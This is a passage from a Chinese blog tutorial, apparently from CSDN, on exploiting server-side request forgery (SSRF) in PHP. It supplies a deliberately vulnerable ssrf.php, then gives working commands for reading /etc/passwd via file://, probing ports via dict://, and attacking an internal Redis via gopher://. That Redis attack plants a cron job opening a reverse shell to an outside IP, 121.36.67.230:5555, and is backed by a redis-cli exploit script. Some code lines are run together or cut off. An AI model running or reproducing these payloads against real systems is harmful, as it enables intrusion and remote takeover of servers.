CSDNSSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划( 三 )

远程利用
1、环境
攻击机ip:192.168.201.129、121.36.67.230
攻击机:Kali、公网服务器
远程服务器ip:39.x.x.x
docker镜像:ssrf_redis
PHP版本:PHP Version 7.2.28(5.6版本测试会失败)
2、远程利用示例代码
ssrf.php
$ch = curl_init; //创建新的 cURL 资源curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_HEADER, 0);#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);curl_exec($ch); //抓取 URL 内容并把它传递给浏览器 , 存储进文件curl_close($ch); ////关闭 cURL 资源 , 并且释放系统资源?> post.php
post echo $_REQUEST[cmd]; ?>3、远程利用方式
1.利用file协议
任意文件读取
curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'
CSDNSSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划
本文插图
2.利用dict协议
(1)查看端口及端口上运行服务的版本信息
curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'
CSDNSSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划
本文插图
说明22端口开放
(2)通过dict协议getshell
有关dict协议:向服务器的端口请求 命令:参数 , 并在末尾自动补上\r\n(CRLF) 。
dict协议要一条一条的执行 , 而gopher协议执行一条命令就行了 。
CSDNSSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划
本文插图
一条一条的执行就可以了 。
3.利用gopher协议
(1)攻击内网redis并反弹shell
利用redis未授权访问攻击redis
攻击redis的exp
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1redis-cli -h $1 -p $2 config set dir /var/spool/cron/redis-cli -h $1 -p $2 config set dbfilename rootredis-cli -h $1 -p $2 saveredis-cli -h $1 -p $2 quitbash shell.sh 39.x.x.x 6379 从而捕获到数据 , 并进行转换 。
转换规则如下:
如果第一个字符是>或者
如果前3个字符是+OK 那么丢弃该行字符串 , 表示返回的字符串 。
将\r字符串替换成%0d%0a
空白行替换为%0a
结合gopher协议攻击内网redis , 使用上边捕获数据的转换结果即可 , 然后进行反弹shell:
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'


推荐阅读